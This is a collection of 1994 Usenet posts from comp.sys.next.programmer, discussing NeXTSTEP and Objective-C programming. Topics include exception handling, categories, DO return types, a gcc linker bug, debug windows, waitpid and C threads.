Newsgroups: comp.sys.next.programmer From: byer@mv.us.adobe.com (Scott Byer) Subject: Re: Nested Exception Handling In-Reply-To: Roberto_Arrocha@SoftDesign.COM's message of Mon, 20 Jun 1994 15:28:57 GMT Message-ID: <BYER.94Jun20135824@birch.mv.us.adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated, Mountain View, CA References: <CrpCC9.3vC@SoftDesign.COM> Date: Mon, 20 Jun 1994 20:58:24 GMT Roberto Arrocha writes: Roberto> Here comes the request: I am looking for opinions / comments on how Roberto> others have chosen to handle this dilema, and why. If there is Roberto> something written about the subject, such as, past news/mail msgs Roberto> on Exception Handling I will gladdly accept those as well. It sounds like you have made the first big decision - choosing between error returns and exception posting as a means of handling errors. Given that, you should try to be as consistent as possible for all objects under your control. In addition to that, you should also be prepared to handle an unfiltered exception at the outer level of the program. That is, the user-interface loop should occur within an exception handler. I don't remember wether the AppKit's event loop does this for you. The event loop should look like: while (1) { NX_DURING /* Inner loop to avoid setting up / destrying exception handler every time. */ while (1) { HandleEvent(); } NX_HANDLER /* Do global exception handling in here; usually dump some sort of uncaught exception message. */ NX_ENDHANDLER } NX_RERAISE I prefer exception handling; it's a little more lightweight, and can prevent you from having to write the same "free up the pointers that I've allocated already" code four or five times. But it's also a little bit more rope - make sure you zero out enough things so that your exception handler can tell what needs to be freed, so you don't try to go free stack garbage. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. === ===
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 18 Jun 1994 20:00:50 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2tvjpi$63d@rosie.next.com> References: <ROBERT.94Jun18114623@steffi.demon.co.uk> Robert Nicholson writes > I believe the only reason you can successfully override in this case > is because you are overriding a method defined in one of Matrix's > superclass. Namely, Responder or perhaps control? > Whoa.... Be careful with those categories... It is true that you can replace a method with a category. However, calls to 'super' may not do what you think. Say you have these classes: Class A; isa Object; implements -foo, -bar Class B; isa B; implements -foo If you add a category to B that has implementations of -foo and -bar, calls to super in these methods will BOTH invoke A's implementation. Adding a category REPLACES the corresponding method implementation in the target class. Also, watch out for the possibility of multiple categories replacing (or implementing) the same method. The one you get depends on the order that the categories are seen by the runtime system! Categories are a great tool for Objective-C programmers. But it pays to know what the limitations are. Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: Ralph_Zazula@next.com (Ralph Zazula) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 18 Jun 1994 20:03:06 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2tvjtq$647@rosie.next.com> References: <1994Jun18.035649.17199@news.media.mit.edu> > >What if have an NXBrowser for example and just want to overwrite one method, >say keyDown:? I'm not adding any instance Variables or anything like this, so >why can't I use the NXBrowser inspector? Even if I would have added instance >variables I think there is no reason for loosing all IB support in setting >NXBrowser attributes and switch over to an uni-color CustomView and no >inspector. > Have you tried just returning the default NXBrowser inspector class when your NXBrowser subclass is asked? - (const char *)getInspectorClassName { return [NXBrowser getInspectorClassName]; } Ralph -- Ralph Zazula Developer Trainer NeXT, Inc. Ralph_Zazula@next.com (415) 780-2893
From: chin@chestnut.chem.upenn.edu (Chin Wu) Newsgroups: comp.sys.next.programmer Subject: bug of gcc-2.5.8 on NeXTStep 3.2 Date: 18 Jun 1994 22:53:11 GMT Organization: Chemistry Dept. U. of Pennsylvania, Philadelphia, Pennsylvania, USA Distribution: world Message-ID: <CHIN.94Jun18185312@chestnut.chem.upenn.edu> OS: NeXTStep 3.2 on NeXTstation (m68k) gcc: version 2.5.8 If anyone have built gcc-2.5.8 on NeXTStep 3.2 (m68k), can you verify this bug: /Users/chin/test> gcc -g -o test test.cc I got: > ld: /usr/tmp/cc0275031.o symbol 64 (a:r24)'s n_sect field (33) is > greater than the number of sections in this object (5) This doesn't happen if I use the compiler comes with the development tool though. It appeas to have something to do with -g switch and only happen with statements such as: > inline complex operator+ ( const complex& a, const complex& b) >==> return z(a.re+b.re, a.im+b.im); test.cc: ------------------- class complex { double re, im; public: complex ( double r, double i=0.0) { re = r; im = i; }; complex ( const complex& c ) { re=c.re; im=c.im; }; ~complex() {}; friend complex operator+ ( const complex& a, const complex& b); }; inline complex operator+ ( const complex& a, const complex& b) return z(a.re+b.re, a.im+b.im); {} main() { complex a(1.0), b(1.0); complex c=a+b; }; ------------------ -- chin@chestnut.chem.upenn.edu
From: william@pinoko.berkeley.edu (William E. Grosso) Newsgroups: comp.sys.next.programmer Subject: Re: returning void instead of self Date: 12 Jun 1994 00:20:51 GMT Organization: University of California, Berkeley Message-ID: <2tdkd3$av6@agate.berkeley.edu> References: <Cr693I.Cv0@trwlasd.com> In article <Cr693I.Cv0@trwlasd.com> jfr@trwlasd.com writes: > Ali Ozer writes > > Christopher_Lane@Med.Stanford.EDU writes: > > > There are a small, but what seems to be growing, number of NeXT > > > application kit methods that return 'void' instead of 'self' for > > > no apparent reason. Anyone know the reason for this new trend? > > > > [munch] > > > > BTW, another reason for this new trend is DO --- Do you really want > > DO to transport all those useless return values back to the caller? > > Ali, you needed a smilie on the end there :-) The following > paragraph is a direct quote from the NEXTSTEP reference manual > (Sec. 6 page 9): Two things: 1) Messaging to a DO can be asynchronous. E.g. If a DO doesn't return *anything* (e.g. returns void), then the calling object can continue on its merry way. Waiting for a return value can (and will) slow you down. 2)Philosophically, I prefer (void) returns anyway. Unless there is actual meaningful content to the return value, I'd rather nothing is returned. It seems bad design for a method to return information that was already known (and hasn't changed). Perhaps this is just my lust for elegance. But, it seems to me that we should write *all* objects as if they were going to be used over a DO connection. Otherwise, we run into things like Classification of Objects: 1) Objects that can be used over DO 2) Objects that we can "chain" with. 3) ... Which is silliness. The point of abstraction is so that the programmer doesn't have to deal with {annoying, time-dependent} details like that. All objects should, as much as is reasonable, behave in "the same way". Currently, this is not the case. Bill Grosso
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: How to setup a text object within a scrolled view programatically like the IB-one? Message-ID: <Cr6K4y.HC@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown Date: Fri, 10 Jun 1994 12:02:57 GMT HI, I would like to programatically create a window which only contains a scrolled view with a text object. This would in my eyes simplify adding graphical debug support. In comp.sys.next.programmer article <2rhl32$1bu@nic-nac.CSU.net> wrote: > [...] > > Going back the the original question... here's what I recommend: > (those of you who've already seen this can skip to the next > article now) > > 1. Create a Window containing a ScrollView+Text. The Text should > be monofont, selectable but not editable. > > 2. Make a "Clear Buffer" [k] menu item that clears the contents > by sending a setText:"" to the Text object. > > 3. Add a Text category: > > [... code deleted ...] When I tried to use it I found it annoying to manually create a Window plus at least one outlet for the text object within the scrolled view (in fact, I needed another outlet to access the window containing the scrolled view to send it a orderFront as well to make it visible). Anyway, I tried to alter the code to let the methods create their own debug-window for the scrolled view plus its text. Then I could just include Debug.h wherever I need to use the printf without touching any nibs or any other parts of my classes. Also, I found it convenient to make this a category of Application, not Text. The original idea was to never have to care about the internal id of the Text object to address it (in the original code you have to send the printf message to a known Text object). Unfortunately, categories do not seem to be able to hold additional instance vars, so I made the vars global again and thus spoiling part of the original advantage. Of course, now I can always send [NXApp printf....] and do never have to remember the name I gave to the Text object's id. Right now I do not know how to programmatically create a text object within a scrolled view as is provided by the IB. As I am just beginning to use the appkit and Objective-C, could you please o give me a hint if this approach does make sense, o is good or bad, o how to implement the text object within the scrolled view Thank you for your time and efforts. I would not have bothered you but am at my wits end right now after various hours of shuffling through the documentation. If you are curious enough to continue, here is the code I try to make functional (the original part was from EPS' posting, the mess is mine): /* Debug.h */ #import <appkit/appkit.h> id dbgText; id dbgWin; @interface Application(Printf) - appendText:(const char *)aString; - printf:(const char *)format,...; @end /* Debug.m */ #import "Debug.h" #import <ansi/stdarg.h> #import <streams/streams.h> @implementation Application(Printf) - appendText:(const char *)aString // should be renamed - not very intuitive [NXApp appendText:...] { int e; NXRect einRect; id einView; if (!dbgWin) { // lazy initialization NXSetRect( &einRect, 100, 200, 200, 400); dbgWin = [[ [Window alloc] initContent:&einRect style:NX_TITLEDSTYLE backing:NX_BUFFERED buttonMask:NX_MINIATURIZEBUTTONMASK defer:NO ] display]; } [dbgWin orderFront:self]; if (!dbgText) { einView = [ [View alloc] initFrame: &einRect]; [einView setOpaque: YES]; [dbgWin setContentView: einView]; dbgText = [ [Text alloc] initFrame: &einRect]; [dbgWin setContentView: dbgText]; } if ((e=[dbgText textLength])<=0) [dbgText setText:aString]; else [[dbgText setSel:e:e] replaceSel:aString]; [dbgText scrollSelToVisible]; return self; } - printf:(const char *)format,... { // unaltered so far NXStream *s; char *streambuf; int len, maxlen; va_list ap; va_start(ap, format); s=NXOpenMemory(NULL, 0, NX_WRITEONLY); NXVPrintf(s, format, ap); (void)NXPutc(s, '\0'); NXFlush(s); NXGetMemoryBuffer(s, &streambuf, &len, &maxlen); [self appendText:streambuf]; NXCloseMemory(s, NX_FREEBUFFER); va_end(ap); } @end Thanks, Juergen --- Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617 == What time do we live in when all the word 'revolution' makes you think of == is a new generation of soap powder, == when spontaneity and freedom gets associated with instant coffee?
From: dcl@panix.com (David Lambert) Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs Subject: hideOtherApplications == nothing? Date: 11 Jun 1994 22:27:20 -0400 Organization: PANIX Public Access Internet and Unix, NYC Message-ID: <2tdrq8$c7h@panix.com> Keywords: workspace hideOtherApplications Has anyone else found that [[Application workspace] hideOtherApplications]; doesn't seem to do anything at all (at least under NS3.2/Intel)? Does it work on black machines? Has anyone else made it work on Intel machines? Is this just another piece of documented non-functionality? David Lambert dcl@homer.uu.panix.com <- please use this address to reply.
From: jimra@aol.com (JimRA) Newsgroups: comp.sys.next.programmer Subject: Re: DBKit App not loading adaptor [make install version only] Date: 11 Jun 1994 02:39:03 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2tbm67$djh@search01.news.aol.com> References: <1994Jun10.212752.4959@il.us.swissbank.com> In article <1994Jun10.212752.4959@il.us.swissbank.com>, pelletk@il.us.swissbank.com (Ken Pelletier) writes: ... problem with running kit app ... Um, when I strip my apps I always use strip -x -S, which I believe leaves some external symbols the adaptor needs (working from memory) Jim
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: returning void instead of self Date: 12 Jun 1994 17:17:58 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2tfg06$ihr@darkstar.UCSC.EDU> References: <Cr9nAH.1Ds@friday.com> In article <Cr9nAH.1Ds@friday.com> bbum@friday.com writes: > 1) While returning self does not mean that a proxy will have to be > generated (obviously, the caller already has a reference to the object > being called), it will require a return message to be blasted across the > net -- a needless waste of time and network resources if one is returning a > value that will not be used. > > 2) (void) methods run asyncronously; that is, as soon as the call to a > method that returns void is executed, the local code continues running. If > a method returns a type of id, the caller must wait until the remote code > finishes executing and a value is returned before it can continue. Since > the runtime environment has no idea whether or not the return of a method > will be considered, there is no way to not incur a wait until return on any > method that has a non-void return type. Would casting a method's return value to void prevent the above problems? If so, we could have our cake and eat it, too: in non-DO implementation, we could continue chaining those method invocations for which checking a return value isn't required, but we could also prevent the above problems in a DO implementation. If casting isn't a solution, then one wonders whether NeXT would have returned self if they were to rewrite the AppKit, etc. now that DO is supported. Obviously, the cat's way out of the bag by now, so rewriting the AppKit, etc. to eliminate self returns would break far too many apps. Welcome to the world of backward compatibility, something that new guys like NeXT could ignore for a while, but are stuck with now... --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: jalon@felouque.ens.fr (Zpeat) Newsgroups: comp.sys.next.programmer Subject: RenderMan Date: 11 Jun 1994 07:29:10 GMT Organization: Ecole Normale Superieure, PARIS, France Message-ID: <2tbp46$cgh@nef.ens.fr> Hello, I want to make RenderMan programs as described in "RenderMan companion" (not using the Appkit) (e.g. : --- #include "ri/ri.h" main() { RIBegin(RI_NULL); ... RIEnd(); } ---) Therefore I want to know where is the library i have to link with my programs. --Julien
From: centaur@cc.gatech.edu (Anthony G. Francis) Newsgroups: comp.sys.next.programmer,comp.lang.lisp Subject: Trouble with Free Common LISPs for NeXTSTEP/Intel Date: 11 Jun 1994 03:17:16 -0400 Organization: College of Computing Message-ID: <2tbods$iqh@terminus.cc.gatech.edu> NNTP-Posting-User: centaur Summary: Incompatibilites prevent builds of CL's for NS/Intel Keywords: next intel common lisp I'm trying to build a version of Common Lisp for a NeXTSTEP for Intel system. I have a 486/33 with 20MB RAM and approximately 0.7GB of disk space running NeXTSTEP 3.2. Because of the cost of the system, I've been focusing on free versions of Common Lisp and have been having ... well, less than stellar success. I have tried the following systems: AKCL (Austin Kyoto Common Lisp) GCL (Gnu Common Lisp 1.0) XLISP CLISP The only one of these to even get close to running was XLISP, which was not sufficiently Common Lisp compatible for my purposes (and even then, I found that out by running a DOS executable, not a NeXT version). I have not yet tried CMU Common Lisp, which, to my knowledge, has not been officially ported to NeXT systems of any variety. (Anyone with knowledge to the contrary, please let me know ...) The AKCL/GCL pair partially compile, but the system seems to be optimized to run on NeXT for Motorola processors. Despite some hackery to the system files to try to convince the system to use all 386 assembler code, incorrect "trap" instructions are generated that cause the build to bomb. Is there a patch for the Intel version? CLISP successfully builds the system as far as the bare lisp.run binary, but the binary refuses to load, causing segmentation errors when run standalone and other memory errors from within the build. Suggestions, anyone? It *appears* to build fine until that point... The end goal of this whole process is to get first Common Lisp, then CLX (the Common Lisp X extensions), then Garnet (a CMU windowing toolkit) and then finally Moore (my thesis research project!) running on my home NeXT. (This was part of the attraction of CLISP; Garnet and CLX run on it. CMUCL also has the same attraction). Any suggestions on how to achieve some or all of the steps of this process would be greatly appreciated. -Anthony Francis AI/Cognitive Science Group College of Computing Georgia Institute of Technology Atlanta, Georgia 30332-0280 centaur@cc.gatech.edu -- Anthony G. Francis, Jr. centaur@cc.gatech.edu AI/Cognitive Science Group College of Computing Georgia Institute of Technology Atlanta, Georgia 30332-0280
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: Does NeXT have stricmp? Date: 10 Jun 1994 23:27:53 GMT Organization: San Francisco State University Message-ID: <2tastp$a7a@nic-nac.CSU.net> References: <1994Jun9.180102.21292@cc.usu.edu> <2taq64$mn1@news.doit.wisc.edu> In article <2taq64$mn1@news.doit.wisc.edu> jacobsen@cae.wisc.edu writes: >Try using "strcasecmp(const char *, const char *)". FYI, "stricmp" doesn't exist on a half-dozen other UNIX implementations I checked. I think it's bogus. -=EPS=-
From: zeno@zebu.abstractsoft.com (Sean T. Lamont) Newsgroups: comp.sys.next.programmer Subject: Re: Does NeXT have stricmp? Date: 11 Jun 1994 01:32:56 -0700 Organization: Abstract Software Message-ID: <2tbsro$h1d@zebu.abstractsoft.com> References: <1994Jun9.180102.21292@cc.usu.edu> In article <1994Jun9.180102.21292@cc.usu.edu> deviate@lipschitz.sfasu.edu (J. Kelly Cunningham) writes: >I found stricmp. Are NeXTs supposed to have the case insensitive version? > Try strcasecmp() -- Sean T. Lamont | Ask me about the WSI-Fonts Abstract Software | Professional collection for NeXT lamont@abstractsoft.com |____________________________________
From: pakala@sdl.egr.uh.edu (Rama) Newsgroups: comp.sys.next.programmer Subject: Launching Mail.app on login, but only if unread/new mail. Advice sought. Date: 12 Jun 1994 04:49:17 GMT Organization: University of Houston Message-ID: <2te44d$od3@masala.cc.uh.edu> I want Mail.app to auto-launch on login only if I have new mail - right now I am using Workspace to automatically launch Mail.app from the Dock. Since motd.app alerts me when I login that I have unread/new mail, I am sure that there must be some way to recognize if I have received mail since I last read my mail. Any kind of help will be appreciated. Thanks, Rama -- ******************************************* Go Houston Rockets, Go Houston Astros, Go Houston Aeros, Go Houston Cougars. Go Minnesotta Vikings!! (more so since ex-Cougar Andrew Ware is also there !!) *******************************************
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.programmer Subject: QUESTION: Reversed and Upside-down text, why? Date: 21 Jun 1994 00:13:36 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <2u5bbgINNm19@srvr1.engin.umich.edu> I am messing around with Display Postscript and decided to put in very simple text. However, the words are coming up upside-down and reversed!!! Why is that? Thank you. Here is the code: PSnewpath(); PSarc(MyLocation.x, MyLocation.y, MyRadius, 0, 360); PSclosepath(); PSmoveto(MyLocation.x+MyRadius, MyLocation.y+MyRadius); PSshow([self getName]); -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 wjabi@libra.arch.umich.edu NeXTMail-friendly
Newsgroups: comp.sys.next.programmer,comp.lan.objective-c From: bob@bobsled.cen.encompass.com (Bob Lunney) Subject: +new vs. +alloc -init Message-ID: <1994Jun10.172915.19603@glv.cen.encompass.com> Keywords: NeXT, NEXTSTEP, Objective-C, new, alloc, init Sender: usenet@glv.cen.encompass.com Organization: Encompass Date: Fri, 10 Jun 1994 17:29:15 GMT At one time there was an elegant, succinct posting describing the difference between using +new and +alloc -init to allocate and initialize object under NEXTSTEP. I know you should use +new when you want one and only one instance of an object ever in you program, as with Application, say. However, I cannot find the detailed reason why anyway on the 'net. I need this explanation to educate our programmers on the reason some of our code works with StepStone's compiler on the VAX but breaks under NEXTSTEP on NeXTs. Please forward any replies to my email address below and I will summarize for the net and repost. Thanks! -- Bob Lunney Encompass +1 919 460 3274 bob@bobsled.cen.encompass.com NeXTmail preferred!
From: jacobsen@arundel.doit.wisc.edu Newsgroups: comp.sys.next.programmer Subject: Re: bug of gcc-2.5.8 on NeXTStep 3.2 Date: 19 Jun 1994 05:12:24 GMT Organization: Division of Information Technology Message-ID: <2u0k3o$7d1@news.doit.wisc.edu> References: <CHIN.94Jun18185312@chestnut.chem.upenn.edu> In article <CHIN.94Jun18185312@chestnut.chem.upenn.edu> chin@chestnut.chem.upenn.edu (Chin Wu) writes: > > OS: NeXTStep 3.2 on NeXTstation (m68k) > gcc: version 2.5.8 > > If anyone have built gcc-2.5.8 on NeXTStep 3.2 (m68k), can you verify > this bug: << text deleted >> I get the same results using gcc 2.5.8 with NS3.2 m68k. arundel> /usr/local/bin/gcc -g -o test test.cc ld: /usr/tmp/cc0010721.o symbol 64 (a:r24)'s n_sect field (33) is greater than the number of sections in this object (5) -E --- Erik Jacobsen NeXTMail: OK jacobsen@cae.wisc.edu <--finger for PGP public key > ------------------ > -- > chin@chestnut.chem.upenn.edu
Newsgroups: comp.sys.next.programmer From: vfr750@netcom.com (Will Hartung) Subject: Synchronizing Sound Message-ID: <vfr750CrMtMC.Fn2@netcom.com> Organization: NETCOM On-line Communication Services (408 261-4700 guest) Date: Sun, 19 Jun 1994 06:49:23 GMT I was wondering if anyone had any tips for getting multiple sounds to fire off at the same time. I'm using the NXPlayStreams to play multiple sounds simultaneously, but if I execute several [playStream playBuffer:...] commands, then there is a distinct delay (like, seconds) from when some of the sounds start and the rest of the sounds start. I've even tried pausing the sound out devices streams, sending multiple playBuffers messages, and then following then with several resumeAtTime: messages, but I get a similiar result, or sometimes I've had one sound fire off immediately, and the other kicking in after the specified delay. I tried shoving about 45 sounds "simultaneously" through the system once, and though they all played, none of them gave me an underrun messages, though I would think that they might. Also, any hints on how I can pre-page in a sound, so if I know a sound will be starting up, I can start paging in chunks of it so that the playBuffer doesn't have to do it. (I don't think that paging is the problem because I still have the delays even when they are all paged into memory). Thanx! -- Will Hartung - Hermosa Beach, Lower Left Coast. vfr750@netcom.com 1990 VFR750 - VFR=Very Red "Ho, HaHa, Dodge, Parry, Spin, HA! THRUST!" 1993 Explorer - Cage? Hell, it's a prison. -D. Duck
Newsgroups: comp.sys.next.programmer From: jfr@trwlasd.com Subject: Re: +new vs. +alloc -init Message-ID: <CrMsCH.My6@trwlasd.com> Sender: jfr@trwlasd.com (Jon Rosen) Organization: TRW References: <2tt12d$4oc@rosie.next.com> Date: Sun, 19 Jun 1994 06:21:51 GMT Ralph Zazula writes > Greg Titus writes > > > > [Greg's example of using a class-keyed hashtable munched] > > Right! You need to have a way for each subclass to get the proper > instance. In the example I gave, the line of code: > > id mnp = [MyNuclearPowerSystem new]; > > would have returned an instance of the NuclearPowerSystem class, *not* a > MyNuclearPowerSystem. This is a side-effect of using static data in > your classes (static really means static - it stays the same...). > > Another interesting twist on this is implementing methods like: > > + powerSystemWithName:(const char *)name; > > in a "subclass safe" way. The idea is to create a new instance if > 'name' is new and reuse an old one if 'name' has already been created... This can be done by having each entry in the class-keyed static-based hashtable refer not to the real PowerStation object but to a secondary name-keyed hashtable of named PowerStation objects that are local to each subclass. The following example uses MiscKit's MiscClassVariable as the static class-keyed hashtable - the nice thing about MiscKit's object is that it neatly encapsulates the hashtable into a pair of methods called setObject:forClass and getObjectForClass:. My example expands it to include the second layer of hashtable. Note however, that this is still merely a hack (albeit a neat hack) of the real problem of not having class variables. static MiscClassVariable powerPlants; + initialize { if ([SuperPowerPlants class] == self) { // Creates the pseudo-class variable powerPlants. // It is only done for the Superclass. powerPlants = [[MiscClassVariable init] alloc]; } // The following is done for ALL subclasses of SuperPowerPlants // assuming each appropriately calls [self initialize]. // It creates a HashTable as a pseudo-class variable for each // subclass which maps char* keys (names) to objects. HashTable *subclassHashTable = [[HashTable alloc] initKeyDesc:"*"]; [powerPlants setObject:subclassHashTable forClass:self]; return self; } + setPowerPlant:plant forName:(const char*)name { HashTable *subclassHashTable = [powerPlants getObjectForClass:self]; [subclassHashTable insertKey:name value:plant]; return self; } + powerPlantForName:(const char*)name { HashTable *subclassHashTable = [powerPlants getObjectForClass:self]; return [subclassHashTable valueForKey:name]; } > Anyway, I thought this topic might be interesting to the net.collective > as it comes up repeatedly in our courses... > > Also, it was pointed out to me in an e-mail that the MiscKit has a class > that does class-variable "emulation" using HashTable's as described > above. It was and it is. Jon Rosen
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: What new features will be in 3.3? Date: 19 Jun 1994 06:47:04 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Jun19074704@steffi.demon.co.uk> References: <2tv882$5c7@dorito.cs.umd.edu> To: rgc@cs.umd.edu (Ross Garrett Cutler) In-reply-to: rgc@cs.umd.edu's message of 18 Jun 1994 12:43:46 -0400 <rgc@cs.umd.edu> writes: >What new utilities will be in NS 3.3? Specifically, will 3.3 provide >version controll? An improved Edit (maybe will color syntax highlighting)? >RTF support for *.h IB files? Also, what classes will be in the new >FoundationKit? >Thanks, Ross. If you want _automatic_ color syntax highlighting then go no further than Emacs for NS.. with font-lock.e. or hilit19.e. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Subclassing and IB -- Mutually exclusive? Date: 19 Jun 1994 07:21:09 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Jun19082109@steffi.demon.co.uk> References: <ROBERT.94Jun18114623@steffi.demon.co.uk> <2tvjpi$63d@rosie.next.com> To: Ralph_Zazula@next.com (Ralph Zazula) In-reply-to: Ralph_Zazula@next.com's message of 18 Jun 1994 20:00:50 GMT CC: wave@media.mit.edu OK I stand corrected on that... However, does NeXT advocate using categories to override methods in class or class superclasses? I guess the reasons Michael had for doing so were justifiable... #import <objc/Object.h> #import <stdio.h> @interface classA:Object - foo; - bar; @end @implementation classA - foo { fprintf(stderr,"classA:foo\n"); return self; } - bar { fprintf(stderr,"classA:bar\n"); return self; } @end #ifdef CATEGORY @interface classA(extra) - foo; @end @implementation classA(extra) - foo { fprintf(stderr,"classA(extra):foo\n"); return self; } @end #endif main() { id obj = [[classA alloc] init]; [obj foo]; } ---- I've always used categorys for _only_ adding class behaviour. -- "Real programmers don't create classes. They build hierarchies" (PGP key: send email with Subject: request pgp key) (ASCII for text only messages)
From: mengpao@helium.Gas.UUG.Arizona.EDU (mengpao cheng) Newsgroups: comp.sys.next.programmer Subject: Re: rld_unload / gdb bug? Date: 11 Jun 1994 10:53:48 GMT Organization: University of Arizona, Tucson Message-ID: <2tc53s$5rm@news.CCIT.Arizona.EDU> References: <IhyABKG00iV004oIUj@andrew.cmu.edu> Hello NeXT Fans, I have a couple of questions really annoying me. Hopefully I can gather some answers from all of you. On "NeXTAnswers #1475", it said that the Adaptec 1742 SCSI controller must be set in "Standard Mode" in order to run NS. It also mentioned that when you set Adaptec 1742 in "Standard Mode", it is compitable with Adaptec 1542. My questions are: 1. If we set 1742 in standard mode which is compatible with 1542, can 1742 still take advantage of 32bit EISA board. Or said can 1742 still has the ability to access the memory more than 16MB??? 2. Supposely one has EISA motherboard and want to choose either 1742 or 1542 controller. Since 1542 and 1742 are both using the same driver in NS, why would people pay more for using 1742 instead of using 1542 -- assuming both of them make no difference to each others. 3. I think a lot of fans know that PAS16 and Adaptec 1542 will fight each other in ISA bus motherboard. Is this going to be the same if one use both of them in EISA bus motherboard??? In another hand, assuming both 1542 and 1742 are functioning in the same way (since they are using the same driver), will 1742 and 1542 fight each other in EISA bus motherboard??? Any suggestions or answers will be so appreciated.... Rueiwun Tu
Newsgroups: comp.sys.next.programmer From: rgooch@rp.CSIRO.AU (Richard Gooch) Subject: [Q] waitpid(2): how to get it? Message-ID: <1994Jun19.111039.1109@rp.CSIRO.AU> Followup-To: poster Keywords: NeXT waitpid POSIX compile link Sender: usenet@rp.CSIRO.AU (Network news) Organization: CSIRO Division of Radiophysics/Australia Telescope National Facility Date: Sun, 19 Jun 1994 11:10:39 GMT Greetings. I am trying to help someone on the other side of the world port to NEXTSTEP (well, really, beta-test) some software I'm developing. I've ironed out most of the porting problems, bar one: getting waitpid(2) to work. The first time he tried to compile, this is how it went: ---------------------------------------------------- cc -s -o try main.c ld: Undefined symbols: _waitpid *** Exit 1 Stop. ---------------------------------------------------- OK: reading the man pages he sent me, it seems we need the POSIX version of the wait(2) family of functions. Next try: ---------------------------------------------------- cc -posix -s -o try main.c ld: Can't locate file for: -lposixcrt0.o *** Exit 1 Stop. ---------------------------------------------------- Now, I don't know if the -posix switch is correct, I only guessed that based on the specs file for the compiler. So, could anyone help out in this problem? -- Regards, Richard Gooch, rgooch@atnf.csiro.au ----------------------------------------------------------------------------- Want computer privacy/ security? Use PGP: public key encryption. Don't know what it is? Ask me. PGP Public Key available on request, or: finger rgooch@venice.atnf.csiro.au PGP fingerprint (work): 34 29 30 4D F4 79 C7 F7 6A 45 B7 F7 74 59 39 9D PGP fingerprint (home): F0 70 2B 1D 9D 43 8C 8E CF 68 FA BE 43 71 FC F7
From: d89cb@efd.lth.se (Christian Brunschen) Newsgroups: comp.sys.next.programmer Subject: Re: Unable to abort or suspend a C Thread Date: 11 Jun 1994 11:17:10 GMT Organization: Lund Institute of Technology, Sweden Message-ID: <2tc6fm$pk6@nic.lth.se> References: <1994Jun10.165749.17895@cs.ucla.edu> In article <1994Jun10.165749.17895@cs.ucla.edu> esky@marathon.cs.ucla.edu (Eskandar Ensafi) writes: > > >Hi, > >I created a C thread and it worked fine. I then used cthread_thread() to >obtain the C thread's "real" Mach thread and called thread_suspend() on it to >stop it from executing. Nothing happened. Strangely enough, cthread_abort() >did not work either! I'd appreciate it if you can tell me what I'm doing wrong >in the sample code below (e-mail would be appreciated): > >Thanks, >- Eskandar > >/* silly C thread example */ > >#include <mach/cthreads.h> >#include <stdio.h> > >void periods() /* display periods about every second */ >{ > mutex_t printing = mutex_alloc(); > > for (;;) > { > sleep(1); > mutex_lock(printing); > putchar('.'); > fflush(stdout); > mutex_unlock(printing); > } >} > >int main() >{ > cthread_t child; > thread_t real_child; > mutex_t printing = mutex_alloc(); > int child_flag = 1; /* true if the thread has not been aborted */ > > > child = cthread_fork((cthread_fn_t)periods, (any_t)NULL); > real_child = cthread_thread(child); /* the cthread's Mach thread */ > cthread_detach(child); > PROMPT: > mutex_lock(printing); > printf("abort/stop/resume thread or quit? [asrq] "); > fflush(stdout); > mutex_unlock(printing); > switch (getchar()) > { > case 'a': /* abort */ > if (child_flag) > { > thread_suspend(real_child); > cthread_abort(child); > child_flag = 0; > } > else fputs("abort: thread has already been aborted\n", stderr); > goto PROMPT; > > case 's': /* suspend */ > if (child_flag) thread_suspend(real_child); > else fputs("suspend: can't suspend aborted thread\n", stderr); > goto PROMPT; > > case 'r': /* resume */ > if (child_flag) thread_resume(real_child); > else fputs("resume: can't resume aborted thread\n", stderr); > goto PROMPT; > > case 'q': /* quit */ > mutex_lock(printing); > puts("goodbye"); > fflush(stdout); > mutex_unlock(printing); > return 0; > > default: > goto PROMPT; > } >} >-- >"Was ich kann und was ich konnte > Weiss ich gar nicht mehr > Gib mir wieder etwas schones > Zieh mich aus dem Meer" -- Marian (The Sisters Of Mercy) One little question -- why are you using two _different_ mutexes, both called "printing" ? locking one will not prevent the other from being locked as well, you know ... // Christian Brunschen
